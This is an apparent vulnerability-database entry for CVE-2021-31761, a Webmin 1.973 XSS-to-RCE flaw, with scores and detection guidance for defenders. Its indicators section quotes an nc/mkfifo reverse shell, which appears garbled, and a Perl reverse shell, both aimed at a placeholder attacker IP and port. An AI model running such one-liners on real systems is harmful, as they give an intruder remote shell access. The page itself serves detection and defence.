CVE-2021-31761

published 2021-04-25

CVE-2021-31761: Webmin 1.973 is affected by reflected Cross Site Scripting (XSS) to achieve Remote Command Execution through Webmin's running process feature.

Priority P2 62 critical 9.6 CVSS 3.1

AV N AC L PR N UI R S C C H I H A H

EXPLOIT

Webmin 1.973 is affected by reflected Cross Site Scripting (XSS) to achieve Remote Command Execution through Webmin's running process feature.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
webmin	webmin	—	—

Detection & IOCs extracted from sources · hover to see the quote

path /tunnel/link.cgi/↗

path run.cgi↗

command mkfifo /tmp/<rand>; nc <ip> <port> 0/tmp/<rand> 2>&1; rm /tmp/<rand>↗

command perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'↗

• → Monitor HTTP requests to /tunnel/link.cgi/ containing URL-encoded HTML form payloads with document.forms[0].submit() — this is the CSRF delivery vector used to trigger RCE via the running process feature. ↗
• → Alert on Webmin process spawning mkfifo, nc, python, perl, ruby, or php reverse shell one-liners as child processes — these are the five payload types generated by the exploit. ↗
• → Detect creation of randomly-named named pipes (mkfifo) under /tmp/ followed immediately by nc execution — characteristic of the Bash reverse shell payload in this exploit. ↗
• → The exploit delivers its CSRF payload as a URL-encoded string appended directly to /tunnel/link.cgi/; inspect GET/POST requests to this path for embedded HTML form tags and JavaScript history.pushState calls. ↗
• → The attack targets Webmin's 'running process' feature to achieve RCE; monitor for unexpected command execution originating from the Webmin process (e.g., miniserv.pl spawning shells). ↗

• · The exploit requires a Webmin administrator to click the crafted CSRF link; the attack chain is XSS → CSRF → RCE and will not succeed against non-admin sessions. ↗
• · The exploit is confirmed against Webmin 1.973 but the author notes it was tested on 'All versions', so detection rules should not be scoped exclusively to version 1.973. ↗

CVSS provenance

nvd v3.1 9.6 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

nvd v2.0 6.8 MEDIUM AV:N/AC:M/Au:N/C:P/I:P/A:P

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CWE-79